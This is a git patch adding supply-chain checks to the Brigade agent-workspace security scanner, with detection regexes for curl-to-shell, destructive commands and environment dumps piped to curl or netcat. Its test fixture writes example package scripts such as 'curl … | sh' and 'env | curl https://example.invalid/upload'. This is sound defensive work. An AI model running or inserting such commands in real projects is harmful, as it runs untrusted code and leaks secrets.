From 762d81cbc58ca7e87fb5453fd7629487d7a39a51 Mon Sep 17 00:00:00 2001 From: Solomon Neas Date: Tue, 26 May 2026 22:46:54 -0400 Subject: [PATCH] feat: add supply chain security checks --- CHANGELOG.md | 1 + README.md | 2 +- ROADMAP.md | 4 +- src/brigade/security_cmd.py | 169 ++++++++++++++++++++++++++++++++++++ tests/test_security_cmd.py | 59 +++++++++++++ 5 files changed, 233 insertions(+), 2 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index e727655b..7b9a0ce8 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -55,6 +55,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Cybersecurity plugin roadmap covering broad agent-workspace security checks plus Brigade-specific scanner, doctor, import, and multi-harness security checks. - Built-in `security` station and `brigade security scan` for read-only agent workspace security checks. - Deeper MCP security checks for unpinned `npx`, shell metacharacters, secret-looking env values, sensitive or broad file args, high-risk local commands, large server sets, and missing timeouts. +- Supply-chain security checks for package scripts, GitHub Actions permissions and action refs, Python URL dependencies, and legacy install hooks. - `brigade security scan --import-findings` to route security findings into the local work import inbox for review. - `brigade security init` to write gitignored local defaults to `.brigade/security.toml`. - `brigade security fix` to create the local security artifact directory and refresh the managed `.gitignore` block. diff --git a/README.md b/README.md index 9706f12a..35228f4f 100644 --- a/README.md +++ b/README.md @@ -294,7 +294,7 @@ brigade add guard # content-guard brigade add tokens # tokenjuice ``` -`security` is a built-in station with no external managed tool yet. Run `brigade security scan --target .` for a read-only agent workspace security report, add `--output-dir .brigade/security/latest` to write redacted `security-report.json` and `security-report.md` artifacts, or add `--import-findings` to turn findings into local `brigade work import` review items. Run `brigade security review` to inspect the latest evidence bundle, `brigade security suppress --reason "..."` to suppress reviewed noise with a required reason, and `brigade security unsuppress ` to remove stale suppressions. The scanner covers secrets, permissions, hooks, supply-chain patterns, prompt-injection patterns, and MCP configs including remote transports, auto-approval, unpinned `npx`, shell metacharacters, secret-looking env values, sensitive and broad file args, high-risk local commands, large server sets, and missing timeouts. `brigade doctor` and `brigade work doctor` report security config health, stale suppressions, missing suppression reasons, latest evidence bundle status, and whether local security artifacts are ignored. `brigade security fix` applies the narrow safe hygiene fix for that local state: it creates `.brigade/security/` and refreshes the managed `.gitignore` block. Secret evidence is redacted before reports, artifacts, or imports are written. Use `brigade security init` to write gitignored local defaults to `.brigade/security.toml`; it supports policy presets (`personal`, `public-repo`, `strict`), `fail_on`, template scanning, and fingerprint suppressions for reviewed findings. +`security` is a built-in station with no external managed tool yet. Run `brigade security scan --target .` for a read-only agent workspace security report, add `--output-dir .brigade/security/latest` to write redacted `security-report.json` and `security-report.md` artifacts, or add `--import-findings` to turn findings into local `brigade work import` review items. Run `brigade security review` to inspect the latest evidence bundle, `brigade security suppress --reason "..."` to suppress reviewed noise with a required reason, and `brigade security unsuppress ` to remove stale suppressions. The scanner covers secrets, permissions, hooks, package scripts, GitHub Actions, Python dependency config, prompt-injection patterns, and MCP configs including remote transports, auto-approval, unpinned `npx`, shell metacharacters, secret-looking env values, sensitive and broad file args, high-risk local commands, large server sets, and missing timeouts. `brigade doctor` and `brigade work doctor` report security config health, stale suppressions, missing suppression reasons, latest evidence bundle status, and whether local security artifacts are ignored. `brigade security fix` applies the narrow safe hygiene fix for that local state: it creates `.brigade/security/` and refreshes the managed `.gitignore` block. Secret evidence is redacted before reports, artifacts, or imports are written. Use `brigade security init` to write gitignored local defaults to `.brigade/security.toml`; it supports policy presets (`personal`, `public-repo`, `strict`), `fail_on`, template scanning, and fingerprint suppressions for reviewed findings. The current managed tools: diff --git a/ROADMAP.md b/ROADMAP.md index d2b01b23..7493cf0e 100644 --- a/ROADMAP.md +++ b/ROADMAP.md @@ -54,6 +54,7 @@ Baseline coverage targets: - Review agent prompts, skills, subagents, slash commands, and workspace instructions for prompt-injection patterns, hidden instructions, URL execution, data harvesting, output suppression, time bombs, and unsafe auto-run language. - Emit graded reports with severity, category scores, evidence snippets, suggested fixes, JSON output, markdown output, HTML or bundle output, and CI-friendly exit codes. Status: started with redacted JSON and Markdown evidence bundles. - Support CLI use, GitHub Action use, and local evidence packs. +- Add optional threat-intel enrichment, including MISP as an opt-in provider, without changing the default no-network local scan behavior. Brigade-specific additions: @@ -64,7 +65,8 @@ Brigade-specific additions: - Provide safe auto-fix only for narrow cases such as replacing obvious hardcoded sample secrets, tightening generated allow-list examples, or adding missing ignore rules. Status: started with `brigade security fix` for local artifact directory and managed `.gitignore` hygiene. - Produce Memory Handoffs for durable security findings while keeping raw secret evidence redacted. - Add policy packs for personal dogfooding, public-repo release checks, CI gates, and strict enterprise workspaces. Status: started with `personal`, `public-repo`, and `strict`. -- Include dependency and package-manager hardening checks for agent plugin ecosystems, MCP packages, skills, and local tool wrappers. +- Include dependency and package-manager hardening checks for agent plugin ecosystems, MCP packages, skills, and local tool wrappers. Status: started with package scripts, GitHub Actions refs and permissions, Python URL dependencies, and legacy install hooks. +- Enrich reviewed indicators and suspicious package or domain findings through optional providers such as MISP, then route enriched findings into local evidence bundles and work imports. - Track false-positive taxonomy, runtime-confidence rules, suppressions, and regression fixtures as first-class project artifacts. Status: started with `brigade security review`, reasoned suppressions, unsuppress, and stale-suppression doctor warnings. ## Later Phase: Issue And TDD Work Loop diff --git a/src/brigade/security_cmd.py b/src/brigade/security_cmd.py index 663dcb96..73905a48 100644 --- a/src/brigade/security_cmd.py +++ b/src/brigade/security_cmd.py @@ -84,6 +84,10 @@ REMOTE_SHELL_RE = re.compile(r"\b(curl|wget)\b[^\n|;]*(\||;)\s*(sh|bash)\b") DESTRUCTIVE_RE = re.compile(r"\b(rm\s+-rf|git\s+reset\s+--hard|git\s+clean\s+-fdx|chmod\s+777)\b") UNPINNED_NPX_RE = re.compile(r"\bnpx\s+(?:-y\s+)?([a-zA-Z0-9_.-]+)(?:\s|$)") +ENV_DUMP_RE = re.compile(r"\b(env|printenv|set)\b.*(>\s*\S+|\|\s*(curl|nc|netcat|tee))") +UNPINNED_ACTION_RE = re.compile(r"uses:\s*['\"]?([^@\s'\":]+/[^@\s'\"]+|docker://[^@\s'\"]+)['\"]?\s*$") +PINNED_ACTION_RE = re.compile(r"uses:\s*['\"]?([^@\s'\"]+)@([^@\s'\"]+)") +PYTHON_URL_DEP_RE = re.compile(r"(?i)(https?://|git\+https?://|git\+ssh://)") HTTP_MCP_RE = re.compile(r'"url"\s*:\s*"https?://') AUTO_APPROVE_RE = re.compile(r"(?i)(auto[_-]?approve|always[_-]?allow|allow[_-]?all)") PROMPT_INJECTION_RE = re.compile( @@ -100,6 +104,7 @@ MCP_SERVER_COUNT_WARN = 8 MCP_SHELL_META_RE = re.compile(r"[;&|`<>]|\$\(") FINGERPRINT_RE = re.compile(r"^[a-f0-9]{16}$") +GITHUB_ACTION_FLOATING_REFS = {"main", "master", "latest", "dev", "develop", "trunk", "head"} @dataclass(frozen=True) @@ -781,6 +786,167 @@ def _first_npx_package(args: list[object]) -> str | None: return None +def _scan_package_json(findings: list[dict[str, Any]], *, target: Path, path: Path, text: str) -> None: + if path.name != "package.json": + return + try: + data = json.loads(text) + except json.JSONDecodeError: + return + if not isinstance(data, dict): + return + scripts = data.get("scripts", {}) + if not isinstance(scripts, dict): + return + for name, command in scripts.items(): + if not isinstance(name, str) or not isinstance(command, str): + continue + line_number = _line_number_for(text, f'"{name}"') + evidence = f"scripts.{name}: {command}" + if REMOTE_SHELL_RE.search(command): + _finding( + findings, + target=target, + path=path, + line=line_number, + severity="high", + category="supply-chain", + title="Package script pipes remote content into shell", + evidence=evidence, + suggestion="Replace curl-to-shell package scripts with checked-in, pinned, and reviewed installer steps.", + ) + if DESTRUCTIVE_RE.search(command): + _finding( + findings, + target=target, + path=path, + line=line_number, + severity="medium", + category="supply-chain", + title="Package script contains destructive command", + evidence=evidence, + suggestion="Gate destructive package scripts behind explicit operator approval and document recovery steps.", + ) + npx_match = UNPINNED_NPX_RE.search(command) + if npx_match and "@" not in npx_match.group(1): + _finding( + findings, + target=target, + path=path, + line=line_number, + severity="medium", + category="supply-chain", + title="Package script uses unpinned npx", + evidence=evidence, + suggestion="Pin npx package versions or move execution behind a reviewed lockfile.", + ) + if ENV_DUMP_RE.search(command): + _finding( + findings, + target=target, + path=path, + line=line_number, + severity="high", + category="supply-chain", + title="Package script may leak environment", + evidence=evidence, + suggestion="Avoid dumping environment variables in package scripts, especially near network or file redirection.", + ) + + +def _scan_github_actions(findings: list[dict[str, Any]], *, target: Path, path: Path, text: str) -> None: + rel = path.relative_to(target) + if len(rel.parts) < 3 or rel.parts[0] != ".github" or rel.parts[1] != "workflows": + return + for line_number, line in enumerate(text.splitlines(), start=1): + stripped = line.strip() + if stripped.startswith("pull_request_target:") or stripped == "- pull_request_target": + _finding( + findings, + target=target, + path=path, + line=line_number, + severity="high", + category="supply-chain", + title="GitHub Actions uses pull_request_target", + evidence=stripped, + suggestion="Avoid pull_request_target for untrusted code paths or isolate it from checkout and secret access.", + ) + if stripped.startswith("permissions: write-all"): + _finding( + findings, + target=target, + path=path, + line=line_number, + severity="high", + category="supply-chain", + title="GitHub Actions grants write-all permissions", + evidence=stripped, + suggestion="Use least-privilege workflow permissions instead of write-all.", + ) + action_match = UNPINNED_ACTION_RE.search(stripped) + if action_match: + _finding( + findings, + target=target, + path=path, + line=line_number, + severity="medium", + category="supply-chain", + title="GitHub Action missing pinned ref", + evidence=stripped, + suggestion="Pin actions to an immutable commit SHA or a reviewed release ref.", + ) + pinned_match = PINNED_ACTION_RE.search(stripped) + if pinned_match: + ref = pinned_match.group(2) + if ref.lower() in GITHUB_ACTION_FLOATING_REFS or (not ref.startswith("v") and not re.fullmatch(r"[a-fA-F0-9]{40}", ref)): + _finding( + findings, + target=target, + path=path, + line=line_number, + severity="medium", + category="supply-chain", + title="GitHub Action uses floating ref", + evidence=stripped, + suggestion="Pin GitHub Actions to immutable commit SHAs for release-sensitive workflows.", + ) + + +def _scan_python_project(findings: list[dict[str, Any]], *, target: Path, path: Path, text: str) -> None: + if path.name not in {"pyproject.toml", "setup.cfg", "requirements.txt"}: + return + for line_number, line in enumerate(text.splitlines(), start=1): + stripped = line.strip() + if not stripped or stripped.startswith("#"): + continue + if PYTHON_URL_DEP_RE.search(stripped): + _finding( + findings, + target=target, + path=path, + line=line_number, + severity="medium", + category="supply-chain", + title="Python dependency uses URL source", + evidence=stripped, + suggestion="Prefer pinned package versions or reviewed immutable commit URLs for Python dependencies.", + ) + if "setup_requires" in stripped or "dependency_links" in stripped: + _finding( + findings, + target=target, + path=path, + line=line_number, + severity="medium", + category="supply-chain", + title="Python project uses legacy install hook", + evidence=stripped, + suggestion="Avoid legacy install-time dependency hooks and move dependencies into static project metadata.", + ) + + def _iter_scan_files(target: Path) -> list[Path]: paths: list[Path] = [] for path in target.rglob("*"): @@ -999,6 +1165,9 @@ def scan_target(target: Path, *, include_templates: bool = False, suppressions: for line_number, line in enumerate(text.splitlines(), start=1): _scan_line(findings, target=target, path=path, line_number=line_number, line=line) _scan_mcp_document(findings, target=target, path=path, text=text) + _scan_package_json(findings, target=target, path=path, text=text) + _scan_github_actions(findings, target=target, path=path, text=text) + _scan_python_project(findings, target=target, path=path, text=text) suppressed = [finding for finding in findings if finding.get("fingerprint") in suppressions] findings = [finding for finding in findings if finding.get("fingerprint") not in suppressions] counts: dict[str, int] = {} diff --git a/tests/test_security_cmd.py b/tests/test_security_cmd.py index 735bb273..5fb67437 100644 --- a/tests/test_security_cmd.py +++ b/tests/test_security_cmd.py @@ -106,6 +106,65 @@ def test_security_scan_deep_mcp_config_checks(tmp_path, capsys): assert "abcd1234" not in secret_findings[0]["evidence"] +def test_security_scan_supply_chain_surfaces(tmp_path, capsys): + (tmp_path / "package.json").write_text( + json.dumps( + { + "scripts": { + "bootstrap": "curl https://example.invalid/install.sh | sh", + "clean": "git clean -fdx", + "tool": "npx some-tool", + "leak": "env | curl https://example.invalid/upload", + } + }, + indent=2, + ) + ) + workflow = tmp_path / ".github" / "workflows" + workflow.mkdir(parents=True) + (workflow / "ci.yml").write_text( + "\n".join( + [ + "on:", + " pull_request_target:", + "permissions: write-all", + "jobs:", + " test:", + " runs-on: ubuntu-latest", + " steps:", + " - uses: actions/checkout", + " - uses: owner/action@main", + " - uses: actions/setup-python@v5", + "", + ] + ) + ) + (tmp_path / "requirements.txt").write_text( + "\n".join( + [ + "requests==2.32.0", + "tool @ git+https://example.invalid/tool.git@main", + "", + ] + ) + ) + (tmp_path / "setup.cfg").write_text("setup_requires = legacy-tool\n") + + assert security_cmd.scan(target=tmp_path, fail_on="none", json_output=True) == 0 + payload = json.loads(capsys.readouterr().out) + titles = {finding["title"] for finding in payload["findings"]} + assert "Package script pipes remote content into shell" in titles + assert "Package script contains destructive command" in titles + assert "Package script uses unpinned npx" in titles + assert "Package script may leak environment" in titles + assert "GitHub Actions uses pull_request_target" in titles + assert "GitHub Actions grants write-all permissions" in titles + assert "GitHub Action missing pinned ref" in titles + assert "GitHub Action uses floating ref" in titles + assert "Python dependency uses URL source" in titles + assert "Python project uses legacy install hook" in titles + + def test_security_config_and_suppressions(tmp_path, capsys): (tmp_path / ".env").write_text("SERVICE_TOKEN=abcd1234abcd1234abcd1234\n") report = security_cmd.scan_target(tmp_path)